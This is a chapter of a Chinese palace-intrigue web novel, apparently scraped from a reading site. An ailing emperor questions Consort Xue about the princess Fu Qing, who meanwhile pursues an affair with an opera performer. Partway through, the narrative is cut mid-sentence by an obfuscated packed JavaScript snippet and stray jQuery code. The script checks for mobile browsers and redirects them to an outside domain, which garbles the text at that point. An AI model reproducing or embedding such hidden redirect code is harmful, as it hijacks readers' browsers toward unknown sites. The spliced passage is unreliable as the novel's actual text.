101. 憎恨

作品:《公主绝非善类

    苻庆眼珠子一转,“您要再问一句,这坛子酒我可就拿走了。”


    “别啊,我还想抱回家里喝呢。”英国公抱着酒坛不肯撒手,“那我不问了,我专心喝酒。”


    “大伯,原先在定州的时候您偷我爹的酒也就罢了,怎么连我的酒你也偷啊!”


    “子承父业嘛!你还有什么话好说?”


    “大伯!”


    一时间,欢声笑语映充满了整座院子。


    几乎是同一时刻,紫宸殿后殿中,皇帝正在喝药。薛贵妃端着药碗,一勺一勺吹凉了送到皇帝口中。


    药汁有些苦,喝完半碗皇帝便不肯再喝,摆摆手倒回了床上。


    薛贵妃也不说什么,将药碗交给守在一旁的婢女,接着起身给皇帝用手帕擦了擦嘴角的药汁,又调整了一下皇帝背后枕头的位置。


    “陛下,良药苦口啊。”


    “朕知道。”皇帝的神情看起来很是疲惫,“只是嘴里没什么味道,喝这么多苦药有些反胃。”


    薛贵妃瞥了皇帝一眼。


    其实皇帝并没有什么病,只不过是前几日劳神有些疲惫罢了,但他本人疑神疑鬼,总觉得自己身体这不好那不好。而太医局那些人为了配合皇帝,便送来一碗又一碗的中药给皇帝滋补,其实并没有什么作用。


    薛贵妃想了想,轻声询问道:“既然如此,妾身让尚膳监做一碗鲜虾粥送过来吧。”


    皇帝点了点头,薛贵妃看向站在一旁的小黄门,对方立刻心领神会退了出去。


    牵过皇帝的手,还是觉得有些冰凉,薛贵妃从脸盆中取出一块烫好的手帕,轻轻敷在皇帝的手腕上。


    “真是老了,不过是几日没有好好休息,竟然会闹成现在这样。”


    “陛下别这么说,若陛下老了,妾身不也老了吗?”


    皇帝露出一个笑容,“爱妃不会老的,朕到现在都记得爱妃第一次入宫时候的样子。”


    薛贵妃手下一顿,接着不留痕迹地继续给皇帝暖手。


    “陛下,那都已经是十几年前的事情了。”


    “是吗?朕还觉得像在昨日。”


    见皇帝闭上了眼睛,薛贵妃也低下头不再看他,嘴上却还是回答道:“陛下就会哄妾身高兴吧,嘉儿都已经十四岁了,妾身怎么会不老呢?”


    “嘉儿。”皇帝闭着眼睛笑一笑,“确实,咱们的嘉儿都十四岁了。”


    薛贵妃将手帕放回脸盆中。


    “爱妃,你与朕都老了。”


    薛贵妃不说话,只是将皇帝的手塞进被子里,又替皇帝掖好了被角。


    “你最近见过太子没有?”


    薛贵妃早就习惯了皇帝突如其来的询问,因此只是恭敬地回答道:“回陛下,妾身已经很久没见过太子了。”


    “确实,自从太子入住东宫,我便不常准他回晏呢殿探望你。”皇帝缓缓吐出一口气,“薛贵妃,你憎恨朕吗?”


    其实薛贵妃半分迟疑都不会有,但那样只会让皇帝意识到她在说假话,所以薛贵妃还是等了一会,然后才回答道:“回陛下的话,妾身知道太子之位对于大夏的未来有多么重要,因此绝对不敢怨恨陛下。”


    皇帝睁开眼睛看向薛贵妃,脸上带了点笑意,“薛贵妃,你一向都是最懂事的。”


    薛贵妃低下头,做出一副谦虚的样子。


    “原先朕想着即便太子不在,也有一个庆儿陪着你,因此便狠心了些。”说到苻庆,皇帝顿了顿,“庆儿虽并非你亲生,但她这些年都养在你身边,对你的感情很深厚。”


    “庆儿命苦,父母早早就离世了,妾身是她的亲姨母,自然想要好好照看她。”薛贵妃笑得温婉,“这些年大约是妾身偏疼庆儿,才让她多依赖妾身一些,妾身觉得反正是女孩子,也没什么不好的。”


    “既然如此,那你觉得庆儿心里会不会怨恨朕?”


    这次薛贵妃是真的愣了愣。


    “陛下此话从何说起?难道是庆儿那孩子做错了什么事情,冲撞到陛下了?”


    “没有,只是柳尚书的事情让朕……”皇帝没有说完剩下的话,他抬眼看向薛贵妃,面色逐渐有些凝重,“柳尚书之子不满朕的安排,还公然将朝廷送去柳府的抚恤品扔出了家门,现下赵王已经让审刑院将他投到牢里去了。朕知道他确实是大不敬,但又想到他刚没了父亲,颇有些于心不忍。”


    薛贵妃悄悄瞥了皇帝一眼,朝廷对于柳尚书的死如此不上心,甚至连表面功夫都懒得做,也不怨人家的儿子生气。而他明明都让赵王把人家抓到牢里去了,现在又反过来说自己是于心不忍,真是让人感到可笑。


    “陛下,若柳尚书之子对朝廷的安排有所不满,那自然应该敲登闻鼓申诉,怎么能够将抚恤品直接扔出门呢?”薛贵妃轻声细语地对皇帝说道:“柳尚书都五十多了,想必孩子也应当成年,却还是做出此等无礼之事,由审刑院关他几天也不无道理。”


    薛贵妃的话很是受用,皇帝的表情也没有刚才难看,伸出手轻轻拍了拍薛贵妃的手背。


    薛贵妃见状,抬起头给皇帝捏了捏胳膊,“陛下,柳尚书的儿子没礼貌是他教养失职,可庆儿是在宫里长大的,是陛下亲眼看着她长大的,难道陛下还要有所怀疑吗?”


    “爱妃所言极是,庆儿确实是朕看着长大的。”皇帝笑一笑,“这些年朕念着苻坚和他夫人是为国牺牲,所以对庆儿很是纵容,而庆儿也很孝顺朕。”


    “陛下待庆儿好,庆儿孝顺陛下是自然的。”薛贵妃悄悄看着皇帝的脸色,见对方又闭上了眼睛,从刚才开始悬着的心终于又掉回了肚子里。


    等皇帝睡下,薛贵妃从一个人走出了后殿。


    汪公公站在外头,见薛贵妃走出来,连忙迎了上来。


    “娘娘可有什么需要的?”


    “不劳公公费心,是本宫刚想起来还有一卷刚抄好的经书没有送去永福殿,便想着跟花露说一声。”


    花露此时就站在阶下。


    汪公公迟疑了一霎。


    薛贵妃接着说道:“本宫知道紫宸殿的规矩,就在这跟花露说完便让她走,公公若不放心大可在旁边听着。”


    “老奴不敢,老奴不敢。”汪公公伸出手对花露招了招,后者赶紧走上了台阶。


    “娘娘便在此处说就是,老奴去殿内瞧着陛下。”


    薛贵妃对着汪公公点点头。


    见汪公公走进殿内,花露走到了薛贵妃身边。


    “给公主府递个信儿,让她最近不要掺和兵部的事情。”


    花露抬眼看了一眼薛贵妃,接着福一福身转身退下了。


    薛贵妃看了一眼空旷的内廷,现在太阳落山的时辰越来越晚,因此这个时间仍然能够看到明媚的阳光洒在大殿之下。


    鬼使神差的,薛贵妃朝着阳光伸出了一只胳膊。


    “娘娘,尚膳监送鲜虾粥过来了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505142|185107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “知道了。”薛贵妃收回胳膊,深深地看了外头的阳光一眼,之后转身走回大殿。


    她单薄的身影重新被大殿的阴影所吞噬。


    其实即便薛贵妃不来人提醒,苻庆这几日也不打算再议论这件事。赵王是个什么样的人苻庆还是了解的,既然这件事已经到了他手里,便再没有转圜的余地。苻庆与其为这件事做无谓的纠缠,还不如找时间多去和春班转一转。


    她刚吃着肉,颇有些食髓知味的架势。


    接下来的几日苻庆确实没再过问柳尚书一事的安排,虽说程怜香在园子里也很忙,但总有能早点回戏班的时候。苻庆现在已经是熟门熟路,自己走进和春班便能够摸到程怜香的住处,接下来便是等着程怜香带着好吃的推门回来。


    有时候程怜香会把妆卸掉,还有时候却会带着妆回来。苻庆很喜欢程怜香上着妆的样子,现在她没有机会到现场听程怜香唱曲,只能看一看他的扮相聊以安慰。就连程怜香自己都说,苻庆这家伙每次看到他扮上妆都格外兴奋,颇有些当纨绔子弟的潜质。


    苻庆听后哈哈大笑,立刻用手指头挑起程怜香的下巴,要求程怜香赶紧给自己唱个曲听听。


    最后的结果,当然是又滚到床上去了。


    巧合的是,这几日杜至善也总是早出晚归,他的告身已经发下来了,正式升迁为兵部左侍郎,专管兵部各种文书等。


    然而在杜至善刚上任便发现,邱大人这兵部侍郎做的实在是太清闲。各种文书可以说是乱七八糟一团,根本就没有整理过,因此这几日杜至善甚至很少回公主府用饭,大多是在宫中当值整理文书。


    这倒也方便了苻庆。


    苻庆并不觉得杜至善会干涉自己,只是他们二人毕竟还是歃血为盟过,两个人都各忙各的才算是旗鼓相当,若杜至善成日在府中一个人守着,苻庆也不好意思总往外跑。


    这样的如同纣王一般的好日子实在是太舒服,以至于苻庆对于日夜变换都没有了感知。若不是松醪忽然提起赵王已经定下日子,要求邱大人一行人在五月二十九日离京,苻庆还没有意识到已经到五月末了。


    听到这日子的时候苻庆觉得很是好笑,“看来赵王还真是着急啊,连六月都等不到了。”


    松醪也跟着笑,“大约是怕再晚一些,邱大人便不想去了吧。”


    “雄州有什么不好的,小时候在我眼里雄州可是顶繁华的地方了。”苻庆想到小时候爹娘带着自己去雄州城看花灯的样子,“邱大人也是好福气,这个时间雄州比京城可凉快多了。”


    “公主放心,奴婢知道公主怕热,已经预备让下人们开冰库取冰了。”


    苻庆今日只穿了件短袖褙子,露出了如同一截截莲藕般的胳膊。饶是如此还是觉得炎热,寻了把团扇给自己扇着风。“太好了,别忘了把冰鉴也准备好,若没了冰西瓜我可是活不成的。”


    锦西城便是夏日里最热的时候也不会有这样的温度,因此苻庆这些年一直过不习惯京城的夏季,总是嚷嚷着热得睡不着。薛贵妃为了这个,没少想办法。


    “好久没有进宫瞧过姨母了,上次入宫也没有见到。”苻庆轻轻叹了口气,“罢了,等这一阵风头过去再说吧。”


    松醪眨眨眼睛,“公主别着急,贵妃娘娘在宫中那么多人伺候,不会有什么事情的。”


    苻庆点了点头。


    “今晚公主还要去和春班吗?”